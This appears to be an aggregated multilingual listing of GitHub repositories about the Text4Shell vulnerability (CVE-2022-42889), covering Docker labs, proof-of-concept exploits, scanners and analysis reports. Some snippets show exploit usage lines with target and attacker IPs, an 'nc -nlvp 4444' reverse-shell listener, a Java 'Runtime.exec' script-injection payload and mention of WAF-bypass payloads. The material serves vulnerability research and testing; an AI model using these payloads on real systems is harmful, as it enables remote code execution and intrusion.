Vulnerability_PoC

一些有趣漏洞的 PoC/Exploit 作者：Numen Cyber Labs 漏洞研究团队 1. TCP/IP RCE 漏洞（CVE-2022–34718）PoC 还原与分析 https://medium.com/@numencyberlabs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf 2. CVE-2022–36537 漏洞技术分析与 Exploit...

text4shell

text4shell CVE-2022-42889 text4shell リモートコード実行脆弱性のデモンストレーションです。 詳細は次のブログ記事をご覧ください: パニックになるな！: CVE-2022-42889 Text4shell脆弱性（Apache Commons Textにおける）...

CVE-2022-42889-Text4Shell-Docker

CVE-2022-42889-Text4Shell-Docker CVE-2022-42889 Text4Shell用のDocker化されたPoC...

cve-2022-42889

cve-2022-42889 cve-2022-42889 Text4Shell は Apache Commons Text バージョン 1.5 から 1.9 に影響します。Commons Text バージョン 1.10 で修正されました。 参照: https://securitylab.github.com/advisories/GHSL-2022-018ApacheCommonsText/ https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

cve-2022-42889-text4shell-docker

Mavenのインストール - maven-linux 1. Mavenのinstallコマンドを実行してfat jarを作成 root@kitploit: mvn clean install 2. Dockerビルド root@kitploit: docker build --tag=text4shell . 3. Dockerコンテナの起動 root@kitploit: docker run -p 80:8080 text4shell 4. アプリケーションのテスト root@kitploit: http://localhost/text4shell/attack?search= 5...

riskootext4shell

riskootext4shell text4shell script for text coomons =1.10 CVE-2022-33980 Apache Commons Text 库是 Java JDK 原生功能的替代库。 Apache Commons 的版本低于 1.10.0 类似于 CVE-2022-33980 root@kitploit: python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22 缓解措施 主要解决方案是紧急升级 Apache...

text4shell-scan

text4shell-scan 一个全自动、准确且全面的扫描器，用于发现易受攻击的 text4shell 主机 特性 支持 URL 列表。 对超过 60 个 HTTP 请求头进行模糊测试。 对 HTTP POST 数据参数进行模糊测试。 对 JSON 数据参数进行模糊测试。 支持 DNS 回调进行漏洞发现与验证。 WAF 绕过有效载荷。 支持自定义 DNS OOB 回调（例如：Burpsuite Collaborator） 描述 该扫描工具大量基于 Fullhunt 2021 年的旧版 Log4j 扫描器（向他们致以重大感谢），现用于发现和模糊测试 Text4Shell...

cve-2022-42889-text4shell-docker

安装 Maven - maven-linux 1. 安装 Maven 以创建 fat jar root@kitploit: mvn clean install 2. Docker 构建 root@kitploit: docker build --tag=text4shell . 3. Docker 运行 root@kitploit: docker run -p 80:8080 text4shell 4. 测试应用 root@kitploit: http://localhost/text4shell/attack?search= 5...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 Docker Lab for CVE-2022-42889 You can either build the Docker image locally or pull the image from Docker Hub and run the container. Clone the repo root@kitploit: git clone https://github.com/devenes/text4shell-cve-2022-42889.git Build the Docker image locally...

text4shell-CVE-2022-42889

此存储库没有 README。...

text4shell-exploit

text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： root@kitploit: nc -nlvp 4444 有效载荷逻辑 该脚本注入： root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec...

CVE-2022-42889-PoC

CVE-2022-42889 又名 Text4Shell RCE 概念验证 Text4Shell 是 Apache Commons Text 库中发现的一个严重软件漏洞的俗称（参见 CVE-2022-42889）。 本仓库旨在演示利用此 CVE 的远程代码执行 （RCE）。 该易受攻击的代码 用于 SpringBoot 控制器中，但请不要混淆，这不是 SpringBoot/Spring 安全问题。 在测试 RCE 之前，请构建 Docker 镜像： root@kitploit: $ docker build -t text4shell . ... = exporting to image...

CVE-2022-42889-Text4Shell-POC

CVE-2022-42889 Text4Shell 测试脚本 此仓库包含一个Python脚本，用于自动化测试名为Text4Shell的漏洞，该漏洞的CVE编号为：CVE-2022-42889。 关于 Text4Shell CVE-2022-42889 Text4Shell是一个影响广泛系统的严重漏洞。该漏洞存在于这些系统解析文本字符串的方式中，允许执行任意代码或发起SSRF攻击。通过精心构造的字符串，可以执行JavaScript代码（导致远程代码执行RCE）或获取URL（导致服务器端请求伪造SSRF）。 来自 Tarlogic 的内容： 利用条件 ：...

CVE-2022-42889

CVE-2022-42889 CVE-2022-42889 的 Python 脚本 要在本地测试，请按照 Docker POC 操作：https://github.com/karthikuj/cve-2022-42889-text4shell-docker PHP 版本见：https://github.com/ClickCyber/cve-2022-42889 如果你在本地运行并利用此漏洞，需要使用的 IP 是 Docker 容器创建时生成的网关地址。 获取 Docker 容器的 bash shell 后： 确保使用 chmod 使脚本可执行： root@kitploit:...

CVE-2022-42889-RCE

CVE-2022-42889-PoC CVE-2022-42889 のリモートコード実行エクスプロイト（Text4Shell 脆弱性）の概念実証です。 サポートのために ⭐ を付けてください ❤️ この脆弱性について CVE-2022-42889 は Spring4Shell や Log4Shell に類似した新しい重大な脆弱性です。 RCE（リモートコード実行）脆弱性であり、深刻度スコアは 9.8 です。 これにより、攻撃者は攻撃対象のマシン上で任意の悪意のあるコードを実行できます。 Apache Commons Text のバージョン 1.5 から 1.9 が影響を受けます。...

text4shell-docker

Instalar maven - maven-linux 1. Instalar Maven para crear el fat jar root@kitploit: mvn clean install 2. Construir la imagen Docker root@kitploit: docker build --tag=text4shell . 3. Ejecutar el contenedor Docker root@kitploit: docker run -p 80:8080 text4shell 4. Probar la aplicación root@kitploit...

CVE-2022-42889-Analysis

CVE-2022-42889 Text4Shell 报告 这是一个整理 Apache Commons Text CVE-2022-42889 分析报告以及基于封闭测试环境的攻击演示资料的仓库。 文档 CVE-2022-42889 - 漏洞分析报告 仓库结构 root@kitploit: CVE-2022-42889-Report/ ├─ README.md ├─ report/ │ └─ CVE-2022-42889Text4ShellReport.md └─ images/ ├─ 01-docker-check.png ├─ 02-maven-download.png ├─ ... └...

CVE-2022-42889-Text4Shell-Exploit-POC

CVE-2022-42889-Text4Shell-Exploit-POC CVE-2022-42889 Text4Shell Exploit POC...

Text4ShellPayloads

Text4ShellPayloads 该项目包含一个python脚本，利用CVE-2022-42889漏洞生成恶意命令。 该脆弱服务器是按照'Karthik U J'的指导，通过遵循 https://github.com/karthikuj/cve-2022-42889-text4shell-docker 中的步骤搭建的。...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 要找到完整的漏洞利用搭建和复现报告，请查找 CVE-2022-42889-Project Vulnerability Exploitation Report 文件。用于构建和运行漏洞利用的虚拟机不包含在此仓库中。 CVE-2022-42889 Text4Shell 的搭建与漏洞复现。 CVE-2022-42889，也被称为 "Text4Shell"，是 Apache Commons Text 库中的一个严重漏洞。该库常用于 Java 应用程序中的文本处理，并为标准 Java 开发工具包（JDK）的文本处理提供补充功能。据报道，自 2018...